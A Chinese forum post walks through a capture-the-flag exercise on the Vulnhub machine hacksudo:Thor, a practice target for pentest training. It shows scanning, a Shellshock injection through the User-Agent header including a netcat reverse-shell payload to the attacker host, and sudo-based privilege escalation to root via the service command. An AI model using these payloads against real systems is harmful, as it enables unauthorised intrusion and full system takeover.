回答

收藏

Vulnhub 靶机篇:Hacksudo_Thor

HG021B HG021B 15892 人阅读 | 0 人回复 | 2024-01-24

本帖最后由 Happiness 于 2024-1-24 22:19 编辑

0x01 靶机信息

  • 名称:hacksudo:Thor
  • 发布日期:2021年8月3日
  • 作者:Vishal Waghmare
  • 系列:hacksudo
  • 难度:中等
  • 简介:由 vishal Waghmare 创建的盒子 这个盒子应该很容易中等。这台机器是为 InfoSec Prep 创建的 Discord Server ( https://discord.gg/kDyAKtJs ), 网站 (https://hacksudo.com)。 这个盒子是为改进 Linux 特权升级而创建的,我希望你们喜欢。该框是用 Virtualbox 创建的,但它应该适用于 VMWare Player 和 VMWare 工作站 启动后使用 netdiscover 工具查找 IP 地址,您可以在抓取页面上查看 ip。这是基于您拥有的任何设置的目标地址。您应该验证地址以防万一。 找到 root.txt 标志,将其提交到 Discord 上的 flagsubmit 频道,并有机会免费获得 hacksudo 机器黑客课程。
  • 下载链接:[https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip](https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip)MD5:D1216820513FD7F96BCA40C1459861C2
  • 网络:DHCP自动分配


0x02 Write-Up
2.1 主机扫描

靶机IP:192.168.135.215
Kali IP:192.168.135.15

index.png

使用namp对目标机进行扫描
  1. nmap -sS -sV -Pn 192.168.135.215
  2. -sS SYN半链接扫描, -sV 服务详细扫描, -Pn 禁ping扫描
复制代码
目标机开放了22、80端口,受限制的21端口

index-1.png

2.2 网站侦察
经扫描已知,网站采用apache架构,2.4.38版本
访问主页,账户名格式采用@Thor Hammer格式

index-2.png

浏览网页源代码,在新闻页面发现有cgi-bin,很可能存在Shellshock漏洞,前提是存在一个shell脚本

index-3.png

  1. CGI脚本会继承系统的环境变量。CGI环境变量在CGI程序启动时初始化,在结束时销毁。
  2. 当一个CGI脚本未被HTTP服务器调用时,它的环境变量几乎是系统环境变量的复制,当这个CGI脚本被HTTP服务器调用时,它的环境变量就会增加关于HTTP服务器,客户端,CGI传输过程等条目。
复制代码
  1. shellshock原理
  2. Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
复制代码
2.2.1 dirb目录扫描
使用dirb的big字典对目录进行扫描
  1. dirb http://192.168.135.215/ /usr/share/dirb/wordlists/big.txt
复制代码

index-4.png

扫描cgi-bin目录后.sh后缀的文件
  1. dirb http://192.168.135.215/cgi-bin/ -X .sh
  2. -X 指定后缀
复制代码

index-5.png

2.2.2 利用agent测试Shellshock漏洞
  1. 修改agent参数:() { :; }; echo;/bin/bash -c 'id'
复制代码
执行成功

index-6.png

2.3 渗透路线
2.3.1利用Shellshock反弹shell
在kali上开启侦听
  1. nc -nvlp 4444
复制代码

index-7.png

  1. agent:() { :; }; echo;/bin/bash -c 'nc -e /bin/bash 192.168.135.15 4444'
  2. 修改执行
复制代码

index-8.png
成功反弹

index-9.png

2.3.2 升级shell
输入命令
  1. SHELL=/bin/bash script -q /dev/null
复制代码

index-10.png

2.3.3 查找权限
  1. sudo -l
  2. 查看此用户的sudo权限
复制代码
发现有权限无密码执行用户thor的脚本

index-11.png

2.3.4 提权到用户thor
  1. sudo -u thor /home/thor/./hammer.sh
复制代码
提示我们输入密钥

index-12.png

经过尝试后,得知这里可以以用户thor的权限执行命令

index-13.png

输入bash,得到thor用户的环境

index-14.png

同样的以之前一样办法提升shell

index-15.png

查看用户权限
发现可以用root的权限执行cat和service命令

index-16.png

得到user's flag

index-17.png

2.3.5 获取root权限

采用sudo提权,利用service命令,参考([service | GTFOBins](https://gtfobins.github.io/gtfobins/service/))
  1. sudo service ../../bin/sh
复制代码
提权成功,获取root's flag

index-18.png


分享到:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

140 积分
16 主题